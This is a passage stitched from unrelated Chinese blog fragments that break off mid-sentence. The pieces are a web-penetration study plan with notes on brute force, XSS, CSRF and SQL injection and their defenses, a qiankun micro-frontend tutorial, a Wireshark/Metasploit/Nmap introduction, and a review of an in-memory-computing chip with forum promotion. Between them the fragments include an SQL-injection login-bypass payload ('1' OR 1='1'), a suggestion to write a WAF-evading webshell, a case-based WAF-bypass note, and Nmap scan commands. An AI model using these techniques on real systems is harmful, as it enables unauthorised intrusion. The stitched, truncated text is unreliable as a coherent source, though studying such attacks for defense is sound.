② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
一 暴力破解 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 概述:
在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
危害:
用户密码被重置,敏感目录.参数被枚举
防御方法:
1.要求用户使用高强度密码
2.使用安全的验证码
3.对尝试登录的行为进行判断和限制
4.采用双因素认证
二 xss跨站脚本攻击 概述:
分为反射型,存储型,DOM型
反射型,存储型,DOM型区别:
反射型和DOM型没有持久性,而存储型是存储在服务器上,具有持久性;
反射型和DOM型是由浏览器解析,存储型由服务器解析
原理:
程序对输入和输出没有做合适的处理,导致精心构造的字符输出在前端时被浏览器中当做有效代码解析来执行
危害:
(1)钓鱼欺骗:利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼攻击方式。
(2)网站挂马:跨站时利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
(3)身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取到用户的Cookie,从而利用该Cookie盗取用户对该网站的操作权限,如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。
(4)盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份,攻击者可以获得到用户对网站的操作权限,从而查看用户隐私信息。
防御手段:
输入过滤和输出转义
第一、在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括 URL、查询关键字、http 头、post 数据等。
第二、在输出方面,在用户输内容中使用 标签。标签内的内容不会解释,直接显示。
第三、严格执行字符输入字数控制。
四、在脚本执行区中,应绝无用户输入。
三CSRF跨站请求伪造 概述:
在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了
原理:
简单的身份验证仅仅能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
危害:盗用受害者身份
防御措施:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等
四 SQL注入 原理:
没有对用户输入内容的合法性做出严格的过滤和判断,导致用户输入的内容当做sql语句执行
危害:
(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
防御措施:
(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。
(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。
(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。
(4)严格限制网站访问数据库的权限。
(5)近几年来,随着机器学习与人工智能技术的火热,基于机器学习的检测SQL注入方法成为了新的研究方向。首先将样本SQL语句转换为特征向量集合,使用机器学习的方法进行训练,将得到的模型投入使用,利用训练的模型检测传入的数据是否包含恶意SQL注入。
(6)其他防御措施。例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。
sql注入绕过waf方法:
a) 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
需求:做一个vue2的微前端,以vue2为主应用,其他技术栈为子应用,比如vue3,本文章只是做vue2一套的微前端应用实现,之后解决的一些问题。vue3子应用可以看我另一篇vue3+vite+ts实现qiankun微前端子应用-CSDN博客
1.什么是微前端(个人理解) 比如现在的vue项目,是一个整体之后包含了多个模块(路由),之后多人开发的时候合并代码可能会造成代码冲突,打包也是全部代码一起打包。
微前端解决了这个问题,由一个主应用程序(也就是基座)之后连接多个单独的子应用程序,每个子应用程序都是单独的,你用vue写商品管理,他用react写物流管理等都可以,不同的模块可以由不同的技术栈写。打包也是单独打包。比较方便。
2.主应用 主应用就是写菜单组件的,之后再通过菜单跳转到子应用程序,差不多就这样,点击物流管理后就跳转到子应用页面了
1.创建个vue2的项目 这个我就不写了,网上一抓一大把,贴个项目创建命令
vue create main-app 2.主应用下载qiankun 下最新版即可
npm install qiankun 3.在main-app/src文件夹下创建main-app.js 这个micorApps就是子应用,可以配置多个子应用。但是子应用挂载的div是相同的,记住这个 container: '#test-web', // 子应用挂载的div
const microApps = [ { name: 'test-web', // 子应用名称 entry: 'http://localhost:7663/', //子应用运行地址 activeRule: '/test-web',//匹配的路由 sanbox: true //解决css冲突 }, ] const apps = microApps.map(item => { return { ...item, container: '#test-web', // 子应用挂载的div props: { routerBase: item.activeRule // 下发基础路由 } } }) export default apps 4.在main.js中导入main-app.js import Vue from 'vue' import App from '.
本文章只是使用vue3实现在vue2主应用程序下的子应用哈,主应用创建可以看我这篇vue2使用qiankun微前端(跟着步骤走可实现)-CSDN博客
1.项目创建 我用的pnpm创建的,看你们,具体创建项目不会的话可以网上搜下,我就不多说了
pnpm create vite@latest 或者 npm create vite@latest 2.下载qiankun的vite包 vite-plugin-qiankun 3.在main.ts文件下添加如下代码(建议复制) 记得下vue-router包,不然获取不到路由啦
import { createApp } from "vue"; import "./style.css"; import App from "./App.vue"; import router from "./router"; import { renderWithQiankun, qiankunWindow, } from "vite-plugin-qiankun/dist/helper"; let app: any; // 判断是否在qiankun环境下 if (!qiankunWindow.__POWERED_BY_QIANKUN__) { createApp(App).use(router).mount("#app"); } else { renderWithQiankun({ // qiankun的生命周期,挂载 mount(props) { // 传递的值可以获取到了 app = createApp(App); app.use(router); app.mount( props.container ? props.container.querySelector("#app") : document.getElementById("app") ); }, // 应用加载 bootstrap() { console.
1.Wireshark Wireshark(前称Ethereal)是一个网络分包分析软件,是世界上使用最多的网络协议分析器。Wireshark 兼容所有主要的操作系统,如 Windows、Linux、macOS 和 Solaris。
kali系统里面自带有这个软件,我们可以直接使用;或者可以在网上下载windows版本,在windows系统里使用。
使用wireshark进行抓包
1、混杂模式概述;混杂模式就是接收所有经过网卡的数据包,包括不是发给本机的包。
开启和关闭混杂模式
捕获-选项
通过浏览器访问百度,在wiresharp进行抓包
1.使用过滤器筛选TCP的数据包
2.使用过滤器筛选udp的数据包
其中dns nbns oicq都是基于udp传输层的之上的协议
1.使用IP地址筛选数据包
ping 192.168.71.216
ip.src_host == 192.168.71.104 and ip.dst_host ==192.168.71.216
ip.src_host == 192.168.71.104 表示源IP地址
ip.dst_host ==192.168.71.216 表示目标IP地址
使用wireshark对常用协议进行分析
1.ARP协议分析
一个是ruquest ,一个是reply 我们可以获取对方的MAC地址
2.分析ICMP协议
ICMP用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
工作过程:
本机发送一个ICMP Echo Request的包
接收方返回一个ICMP Echo Reply,包含了接收到数据拷贝和一些其他指令
2.Metasploit Metasploit framework,简称msf。
Metasploit是一个渗透测试平台,能够查找,利用和验证漏洞。
Metasploit是一个免费的、可下载的框架,通过它可以很容易的对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
Metasploit的设计初衷是打造一个攻击工具开发平台。
之前写过关于msf的具体使用操作,详细介绍链接:
Metasploit渗透测试(框架介绍、靶机安装、基本使用方法)_保持微笑的博客-CSDN博客
https://blog.csdn.net/qq_38612882/article/details/122496144
3.Nmap nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。我们可以直接在kali系统的终端模拟器直接操作。操作命令如下:
1. 探测网络中活跃的主机 nmap -sP 10.0.105.1/24 :探测10.0.105网段中的全部主机。 2. 探测主机系统版本 nmap -O 192.168.45.129 :探测指定IP的相关数据。 3.
一、SQL注入 定义:Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以伪造sql,以此来实现欺骗数据库服务器执行非授权的任意查询,非法获取或篡改数据。
1.1 成因 我们通过一个demo,来帮助大家快速理解:
$username = $_POST['username']; $password = $_POST['password']; $sql = "select * from user where username='$username' and password='$password'"; 此时参数未做过滤,存在恶意注入风险,此时username真实赋值188,password恶意赋值1’ OR 1='1,即
$sql = "select * from user where username='188' and password='1' OR 1='1'"; 可以发现,此时sql就绕过了正常的逻辑判断,攻击者输入真实的账号(如手机号码、撞库的账号)便能轻松完成登录
1.2 应对 1.2.1 参数过滤 针对上述注入,我们发现问题在于单引号导致sql被伪造,常见的做法是对用户提交数据做转义:
$username = addslashes($_POST['username']); $password = addslashes($_POST['password']); $sql = "select * from user where username='$username' and password='$password'"; 重复上述参数提交,此时获得的是
$sql = "select * from user where username='188' and password='1\' OR 1=\'1'"
文章目录 一、前言二、深入了解存算一体技术2.1 什么是存算一体2.2 存算一体技术发展历程2.3 基于不同存储介质的存内计算芯片性能比较 三、国产存算一体,重大进展3.1 知存科技:我国存算一体领域的研发领导者 四、知存科技新型 WTM2101 SOC 评估板使用评测4.1 WTMDK2101-ZT1 实验评测目标概述4.2 WTMDK2101-ZT1 评估板介绍与安装4.2.1 WTMDK2101-ZT1 评估板介绍4.2.2 评估板组件安装 4.3 评估板调试4.4 啸叫音识别测试4.5 啸叫音抑制测试 五、文末总结 一、前言 随着当今数据迅速增长,传统的冯诺依曼架构内存墙正在成为计算性能进一步提升的阻碍。新一代的存内计算(IMC)和近存计算(NMC)架构有望突破这一瓶颈,显著提升计算能力和能源效率。本文将探讨存算一体芯片的发展历程、当前研究状态,以及基于多种存储介质(例如传统的DRAM、SRAM和Flash,以及新型的非易失性存储器如ReRAM、PCM、MRAM、FeFET等)的存内计算基本原理、优势与面临的挑战。通过对知存科技WTM2101量产芯片的深入解析与评测,重点展示存内计算芯片的电路结构及其应用现状。最后,将对存算一体芯片未来的发展前景和挑战进行详细分析。
二、深入了解存算一体技术 2.1 什么是存算一体 存算一体是指在计算机体系结构中将存储和计算功能整合到一起的概念。这种结合旨在减少数据在处理器和存储单元之间的频繁传输,从而提高数据处理速度和效率。
存算一体的两个主要形式是近存计算和存内计算:
近存计算:在近存计算中,计算单元与高速存储单元(如高速缓存)紧密集成。这意味着处理器和高速存储单元之间的距离很近,可以快速访问数据并进行计算,减少了数据从内存传输到处理器的时间。存内计算:存内计算是将计算功能直接放置在存储单元内部的概念。这意味着存储单元本身具有一定的计算能力,可以在存储位置进行部分计算任务,避免了数据在存储和处理单元之间的频繁移动。存内计算的核心理念是在存储单元内部完成部分计算任务,避免频繁的数据传输,从而提高效率。这种方式允许处理器直接访问存储单元,将计算任务和数据处理在存储内部进行,而不是在传统的分离存储和处理的架构中进行。通过存内计算,数据不必在存储和处理单元之间频繁传输,减少了数据移动的时间和能耗。这种方式对于处理大规模数据和计算密集型任务特别有利,能够提高计算效率和响应速度。在人工智能、机器学习等领域,存内计算技术能够加速模型训练和推理过程。研究一些资料后博主自己总结:存内计算技术的发展对于提高计算设备的整体性能、降低能耗并改善数据处理效率具有重要意义。值得一提的是,我国知存科技推出的 WTM2101 芯片即采用存内计算这种方式。 近存计算和存内计算都是存算一体架构的重要组成部分,目的是在硬件层面上优化数据处理流程,使得计算机系统能够更快速、更有效地处理大规模数据和计算密集型任务。这些技术的发展对于越发火热的人工智能、大数据处理等领域的发展具有重要意义。
2.2 存算一体技术发展历程 个人查阅了相关的很多资料,大致总结出来下面的存算一体技术发展历程,方便我们更加深入的了解存算一体技术的发展
1969年: 存算一体的概念最早提出。
1997年: 展示了智能内存(Intelligent RAM)方案,将处理器和DRAM集成在单颗芯片上,算力达到Cray T-90的5倍。
1999年: 提出了灵活内存(FlexRAM)方案,仿真结果表明该芯片架构可使计算性能提升25~40倍。但由于缺少大数据处理需求、昂贵的制造成本和复杂的设计,技术仍然停留在研究阶段。
2015年以后: 随着摩尔定律逐渐失效和冯诺依曼架构的局限性明显,大数据应用的驱动,工艺水平不断提高,存算一体技术重新受到关注。
2016年,郭昕婕博士(知存科技联合创始人及首席科学家)终于研发出全球第一个3层神经网络的浮栅存内计算深度学习芯片(PRIME架构),首次验证了基于浮栅晶体管的存内计算在深度学习应用中的效用。相较于传统冯诺伊曼架构的传统方案,PRIME可以实现功耗降低约20倍、速度提升约50倍,引起产业界广泛关注。随着人工智能等大数据应用的兴起,存算一体技术得到国内外学术界与产业界的广泛研究与应用。
2017年: 微处理器顶级年会(Micro2017)上,多所高校和企业推出了存算一体芯片或系统原型,包括苏黎世联邦理工学院、加利福尼亚大学圣巴巴拉分校、英伟达、英特尔、微软、三星等。当提及圣巴巴拉分校时,值得关注的是他们在基于 RRAM 的存内计算领域的突破。这种新型存储技术具有高密度、低功耗和快速读写等优势,非常适合存内计算需求。研究团队专注于将RRAM与计算过程结合,实现内部存储和计算的融合。这项技术有望提高人工智能和其他计算密集型应用的效率,通过在芯片内部集成存储和计算功能,加速数据处理速度、降低能耗,并提供更快速、更灵活的计算解决方案。他们的研究成果可能为未来计算设备和系统带来革命性变革,使其更加智能、高效和可靠。
这些年里,基于不同存储介质的存算一体芯片研究不断涌现,包括 SRAM、DRAM、Flash、ReRAM、PCM、FeFET、MRAM 等各类存储介质。国内外企业积极研发,其中台积电、Mythic 和知存科技最接近产业化,已经推出了一系列基于不同存储介质的存算一体芯片研究成果。
与此同时,全球首个存内计算社区创立,涵盖最丰富的存内计算内容,以存内计算技术为核心,绝无仅有存内技术开源内容,囊括云/边/端侧商业化应用解析以及新技术趋势洞察等, 邀请业内大咖定期举办线下存内workshop,实战演练体验前沿架构;从理论到实践,做为最佳窗口,存内计算让你触手可及。传送门:https://bbs.csdn.net/forums/computinginmemory?category=10003;
社区最新活动存内计算大使招募中,享受社区资源倾斜,打造属于你的个人品牌,点击下方一键加入。
https://bbs.csdn.net/topics/617915760
2.3 基于不同存储介质的存内计算芯片性能比较 目前,用于存算一体的成熟存储器类型包括 NOR FLASH、SRAM、DRAM、RRAM 和 MRAM 等 NVRAM。